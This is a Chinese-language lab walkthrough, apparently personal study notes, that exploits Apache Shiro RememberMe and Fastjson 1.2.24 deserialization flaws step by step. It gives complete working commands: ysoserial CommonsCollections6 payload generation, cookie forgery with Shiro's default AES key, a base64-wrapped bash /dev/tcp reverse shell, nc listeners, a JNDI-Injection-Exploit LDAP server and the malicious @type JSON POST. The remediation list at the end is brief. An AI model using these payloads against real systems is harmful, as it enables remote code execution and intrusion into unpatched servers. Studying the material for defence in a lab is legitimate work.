JDK 版本约束只影响这一条 ysoserial 生成载荷的命令,和靶机无关!

原理链路

ysoserial(打印机)+ CC6 机关 → 生成恶意序列化二进制文件 /tmp/curl.ser

3-6 概念对应

  1. kPH+bIxk5D2deZiIxcaaaA==:Shiro 臭名昭著的默认公开 AES 密钥(漏洞根源之一)

  2. 生成 IV、AES 加密、IV 前置拼接:严格复刻 Shiro RememberMe 原始加密格式

  3. 最终产物:一条靶机 “认为是正常用户” 的 rememberMe Cookie

大白话:

ysoserial 只产出 “恶意原材料”;这一堆命令就是给原材料穿上正常 Cookie 的外衣,骗过 Shiro

3. 逐段精细化原理+避坑说明

(1)JDK解锁+载荷生成段

所有 --add-opens 参数缺一不可,作用是解除高版本Java反射限制,允许ysoserial调用内部类生成CC6利用链,少一个参数都会载荷生成失败。

CommonsCollections6:指定利用链,适配靶机依赖环境;curl $KALI:9999:靶机漏洞触发后,主动访问攻击机9999端口,用于验证命令执行成功。

> /tmp/curl.ser:将生成的二进制序列化文件保存到临时目录,AES加密必须使用原始二进制文件,不能用文本格式。

(2)密钥格式转换段

Shiro默认密钥是Base64格式,但是Linux的openssl加密工具只支持十六进制密钥,必须解码、转格式、删除换行符,格式错误会导致靶机解密失败,直接丢弃Cookie,漏洞无法触发。

(3)随机IV生成段

AES-CBC加密模式强制要求16字节IV向量,Shiro固定加密规则:前16字节IV + 后半部分密文,顺序颠倒、IV长度错误都会解密失败。随机IV可规避设备特征检测。

(4)Cookie生成段

二进制文件无法在HTTP Cookie中传输,因此拼接IV和密文后,整体Base64单行编码,生成Shiro认可的合法Cookie格式。

4. 联动操作

终端1(先执行!):开启9999端口监听

nc -lvnp 9999

原理:靶机是主动外联请求,必须先开监听端口,再发送攻击Cookie,否则连接无法建立。

终端2(后执行!):发送恶意Cookie触发漏洞

curl -s -o /dev/null -b "rememberMe=粘贴上面生成的TEST_COOKIE值" $TARGET

参数详解:-b 携带自定义Cookie发包;-o /dev/null 丢弃页面报错数据,忽略靶机前端解析失败问题,只触发后端漏洞逻辑。

5. 结果判定

  • 监听终端收到靶机IP请求:密钥有效、CC6链正常、命令可执行,进入反弹Shell阶段

  • 无请求:密钥错误、无CC6依赖、防火墙拦截,终止实验排查问题

阶段三:反弹Shell载荷生成,获取交互式权限(最终攻击)

1. 操作前提

必须完成阶段二探测,确认漏洞链路通畅后再执行本步骤。

2. 精细化命令

# 定义变量
KALI=172.16.11.xx
TARGET=http://172.16.11.xxx

# 原生bash反弹命令
CMD="bash -i >& /dev/tcp/$KALI/9999 0>&1"
# Base64编码规避特殊符号
B64=$(echo -n "$CMD" | base64 -w0)
# 适配Java的最终执行载荷
PAY="bash -c {echo,$B64}|{base64,-d}|bash"

# 高版本JDK解锁生成反弹序列化载荷
java \
  --add-opens=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED \
  --add-opens=java.rmi/java.rmi.server=ALL-UNNAMED \
  --add-opens=java.rmi/sun.rmi.server=ALL-UNNAMED \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
  --add-opens=java.base/java.net=ALL-UNNAMED \
  --add-opens=java.base/java.util=ALL-UNNAMED \
  --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED \
  -jar ~/ysoserial-all.jar CommonsCollections6 "$PAY" > /tmp/cc6.ser

# 密钥、IV加密、Cookie拼接(标准化流程)
KEY=$(echo -n "kPH+bIxk5D2deZiIxcaaaA==" | base64 -d | xxd -p | tr -d '\n')
head -c 16 /dev/urandom > /tmp/iv.bin
IV=$(xxd -p /tmp/iv.bin | tr -d '\n')
openssl enc -aes-128-cbc -K $KEY -iv $IV -in /tmp/cc6.ser -out /tmp/enc.bin
COOKIE=$(cat /tmp/iv.bin /tmp/enc.bin | base64 -w0)
echo "rememberMe=$COOKIE"

3. 核心难点精细化解读

Java的Runtime.exec()裸进程执行,不会加载Bash解释器,无法识别 >&、|、& 等Shell特殊符号,直接用原生反弹命令会静默执行失败,无报错、无反弹。

专属解决方案(必记):

  1. 将反弹命令Base64编码,消除所有特殊符号,让Java可以正常识别;

  2. 通过 echo 编码值 | base64 -d | bash 二次解析,唤起Bash进程执行反弹命令,完美兼容Java执行机制。

4. 最终攻击操作

终端1:开启9999反弹端口监听(先执行)

nc -lvnp 9999

终端2:发送恶意Cookie触发反弹(后执行)

curl -s -o /dev/null -b "rememberMe=粘贴新生成的COOKIE值" $TARGET

5. 成功结果判定

监听终端自动接收靶机连接,获取交互式Shell,可正常执行 id、whoami、ls、pwd 等所有系统命令,漏洞利用全程完成。

完整实验链路因果总结

  1. 通过HTTP响应头探测到 rememberMe=deleteMe 特征,确认靶机启用Shiro框架RememberMe功能,确定漏洞存在的基础条件;

  2. 针对Kali高版本JDK模块化反射限制,添加全部 --add-opens 解锁参数,成功通过ysoserial生成CC6恶意序列化二进制载荷;

  3. 适配Shiro加密规范,将默认Base64密钥转为openssl支持的十六进制格式,搭配16位随机IV,完成AES-128-CBC加密与IV+密文拼接,伪造合法客户端Cookie;

  4. 优先使用curl外联载荷做前置探测,精准验证密钥有效性、CC6利用链可用性,规避后续反弹失败无法排错的问题;

  5. 针对Java原生命令执行的语法限制,通过Base64编码封装反弹Shell命令,解决特殊符号无法识别的问题;

  6. 攻击机提前开启端口监听,发送恶意Cookie触发靶机漏洞逻辑;

  7. 靶机后端依次完成Cookie Base64解码、AES密钥解密、Java对象反序列化,通过CC6漏洞链执行反弹命令,主动回连攻击机,最终获取靶机远程交互式RCE权限。


Fastjson 1.2.24 反序列化漏洞实验

A、基础框架名词

  1. Fastjson:阿里开源 Java 高性能 JSON 序列化 / 反序列化组件,负责 JSON 字符串 ↔ Java 对象互相转换。

  2. 反序列化:将 JSON 文本还原为内存中 Java 对象的过程;序列化是对象转为 JSON。

  3. Gadget(利用链 / 小工具类):程序中存在的原生 Java 类,类内部方法存在危险逻辑,可被攻击者利用触发恶意行为。

  4. JNDI:Java 命名与目录接口,提供统一访问 LDAP/RMI 等目录服务的标准 API,核心方法InitialContext.lookup()

  5. LDAP:轻量目录访问协议;本实验作为中间人服务,传递恶意Reference引用对象。

  6. Reference(引用对象):JNDI 中特殊对象,可携带远程 Class 下载地址,支持 JDK 远程加载字节码。

  7. RCE 远程代码执行:攻击者在目标服务器执行任意操作系统命令,最高权限危害漏洞。

  8. autoType 机制:Fastjson 拓展语法@type,指定将 JSON 反序列化为哪一个 Java 类。

B、核心机制名词

  1. autoType 无校验(漏洞根源)

    Fastjson 1.2.24 版本没有黑白名单限制,允许@type指定任意存在的 Java 类;高版本增加黑名单、SafeMode 限制。

  2. Setter 自动调用机制

    Fastjson 完成对象实例化后,自动匹配 JSON 键名,反射调用对应setXXX()赋值方法。

  3. JdbcRowSetImpl Gadget 核心逻辑

    com.sun.rowset.JdbcRowSetImpl

  • setDataSourceName(url):接收 JNDI 地址,存入成员变量

  • setAutoCommit(boolean):内部执行 InitialContext.lookup(成员变量)

    强制前提:先赋值数据源地址,再执行 setAutoCommit,顺序不可颠倒。

  1. trustURLCodebase

    JDK 安全参数:

    trustURLCodebase=true:允许 JDK 通过 HTTP 远程下载、加载外部 Class 字节码;

    trustURLCodebase=false:禁止远程加载恶意类(JDK8u191 及以上默认关闭)。

  2. Runtime.exec () 执行限制

    Java 原生命令执行 API不会创建完整 Shell 环境,无法直接识别>&、管道|等 Shell 语法,需要特殊 Payload 封装。

C、攻击工具

  1. JNDI-Injection-Exploit

    作用:一键启动 LDAP/RMI/HTTP 三套服务;接收靶机 JNDI 连接、下发 Reference、托管恶意 Class;支持自定义执行命令。

  2. curl

    作用:构造 HTTP 请求,向靶机漏洞接口投递恶意 JSON Payload。

  3. netcat(nc)

    作用:开启端口监听,接收靶机反弹交互式 Shell。

  4. Python 简易 HTTP 服务(可选探测)

    作用:接收靶机出站 HTTP 请求,无损验证命令是否执行。

🎯重点:为什么推荐靶机环境使用 JDK8 开展 Fastjson 1.2.24 实验?

  1. JDK8 版本内置com.sun.rowset.JdbcRowSetImpl,原生拥有这条 Gadget 链;高版本 JDK 移除该类,链路直接失效。

  2. 本实验靶机环境配置 trustURLCodebase=true,满足 LDAP Reference 远程加载恶意 Class 条件;JDK8u191 之后默认关闭该参数,经典 JNDI 远程加载利用方式失效。

  3. Fastjson 1.2.24 发布时期主流运行环境为 JDK8,贴合真实历史漏洞场景。

  4. JDK8 完整支持/dev/tcp反弹 Shell 依赖的网络调用逻辑,环境兼容性最优。

D、完整串联:整条链路组件协作流程

链路一句话总结:

攻击者利用 Fastjson 不受控@type实例化危险 Gadget,依靠类内 setter 触发 JNDI 查询;靶机访问恶意 LDAP 服务获取远程类地址,下载恶意字节码后执行任意系统命令。

E、实验步骤(分三阶段,标准教学格式)

阶段一:搭建攻击服务(JNDI 恶意服务 + 反弹监听)

1. 操作目的

  1. 启动 JNDI 利用套件,开启 LDAP、HTTP 服务,等待靶机发起 JNDI 连接;

  2. 生成适配 Java Runtime.exec 限制的反弹 Shell Payload;

  3. 开启 nc 端口监听,准备接收靶机反弹 Shell。

2. 完整执行命令

# 步骤1:生成反弹Shell封装Payload
RAW="bash -i >& /dev/tcp/172.16.11.26/4444 0>&1"
ENC=$(echo -n "$RAW" | base64 -w0)
FINAL="bash -c {echo,$ENC}|{base64,-d}|{bash,-i}"
echo $FINAL

# 步骤2:启动JNDI恶意服务
java \
--add-opens=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED \
--add-opens=java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens=java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED \
-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "$FINAL" \
-A 172.16.11.26

# 新开终端执行监听
nc -lvnp 4444

3. 参数精细化解释

Payload 生成部分

  • RAW:原始交互式反弹 Shell;依靠 Linux /dev/tcp建立双向 TCP 连接

  • echo -n:不输出换行符,防止 base64 编码多出无效字符

  • base64 -w0:关闭自动换行,输出单行 base64 字符串

  • FINAL:最终封装命令;{echo,xxx}使用逗号替代空格,规避 Java 参数切割问题,管道实现解码执行

JNDI 工具启动参数

  • --add-opens:高版本 Kali Java 模块权限放开,解决反射报错

  • -jar xxx.jar:加载 JNDI 注入利用主程序

  • -C "$FINAL"【核心】:定义靶机加载恶意类后将要执行的系统命令

  • -A 172.16.11.26:指定攻击机 IP,服务对外公布本机地址

nc 监听参数

  • -l 监听模式、-v 详细日志、-n 不解析域名、-p 4444 指定监听端口

4. 核心判定原理

工具启动后自动监听 1389 (LDAP)、1099 (RMI)、8180 (HTTP);工具输出对应JDK8 trustURLCodebase=true分类下的 ldap 链接,作为后续 Payload 地址。

⚠️工具每次重启,链接末尾随机标识字符串刷新,发包必须使用本次生成地址。

5. 结果判定标准

成功状态:控制台打印监听端口日志,并输出可用ldap://172.16.11.26:1389/xxxx链接;

失败:端口占用、Java 版本不兼容、路径找不到 jar 包。


阶段二:发送恶意 JSON,触发靶机 Fastjson 反序列化漏洞

1. 操作目的

构造恶意 JSON 请求,投递至靶机/config/import接口,触发 Fastjson 反序列化,完整走完攻击链路。

2. 完整执行命令

curl -s -X POST "http://172.16.11.219/config/import" \
-H 'Content-Type: application/json' \
-d "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://172.16.11.26:1389/lswrtz\",\"autoCommit\":\"true\"}"

3. 参数精细化解释

  • -s:静默模式,屏蔽 curl 多余进度输出

  • -X POST:指定 HTTP 请求方法,目标接口仅接收 POST 提交数据

  • 请求 URL:靶机存在漏洞的业务接口地址

  • -H 'Content-Type: application/json'【关键】:声明请求体为 JSON;缺少该头,后端不会调用 Fastjson 解析,漏洞无法触发

  • -d "..." HTTP 请求正文(恶意 JSON Payload)

    • \" bash 环境下双引号转义语法

    • "@type":"com.sun.rowset.JdbcRowSetImpl":强制 Fastjson 反射实例化 Gadget 类

    • dataSourceName:赋值恶意 LDAP 地址,必须写在 autoCommit 前面

    • autoCommit:"true":触发 lookup 调用;使用字符串 "true" 提升靶场兼容性

4. 核心判定原理

HTTP 请求到达靶机 -> SpringBoot 接收 JSON -> Fastjson 执行parseObject

识别@type创建对象,自上而下依次调用 setter;

执行setAutoCommit时触发 JNDI lookup,靶机主动连接攻击机 LDAP 服务,启动整条利用链路。

5. 结果判定标准

  1. 【最高标准】JNDI 工具日志:收到靶机 172.16.11.219 连接、下发 Reference、靶机请求 8180 下载 class

    -> 证明漏洞链路成功触发

  2. 次级标准:nc 监听窗口收到靶机 TCP 连接,获取交互式 Shell -> RCE 完全成功

  3. 页面返回提示导入失败:set property error:仅业务代码捕获 lookup 异常,不能判定漏洞未触发!

阶段三:完整实验链路因果总结

  1. 根源因果:Fastjson 1.2.24 无@type管控,攻击者可控 JSON 实现任意类实例化;JDK8 内置JdbcRowSetImpl,setter 方法存在 JNDI 查询逻辑,两者组合形成完整反序列化 Gadget 链。

  2. 链路递进因果

    投递恶意 JSON -> Fastjson 实例化危险类 -> setter 触发 JNDI 查询 -> 靶机连接恶意 LDAP -> 获取远程类地址 -> 下载恶意字节码 -> Runtime.exec 执行系统命令。

  3. 本次实验现象因果复盘

    攻击机日志观测到靶机成功访问 LDAP、请求恶意 Class,证明 Fastjson 漏洞触发流程完整打通;早期 curl 探测无回调,不是漏洞失效,是靶机环境命令 / 出网限制导致命令执行失败。

  4. 关键约束因果(实验易错点)

    • JSON 字段顺序颠倒 -> lookup 地址为空,无流量;

    • 缺失Content-Type请求头 -> 不进入 Fastjson 解析;

    • JNDI 链接使用旧标识 -> LDAP 服务找不到对应引用;

    • 直接使用原生反弹 Shell -> Runtime.exec 无法识别重定向语法,执行报错。

拓展:实验修复结论

  1. 升级 Fastjson 新版本,开启 SafeMode,限制 autoType;

  2. 业务过滤外部不可信 JSON 输入;

  3. 升级 JDK 版本,关闭trustURLCodebase

  4. 服务器出站防火墙限制外连 LDAP、RMI 高危端口。



评论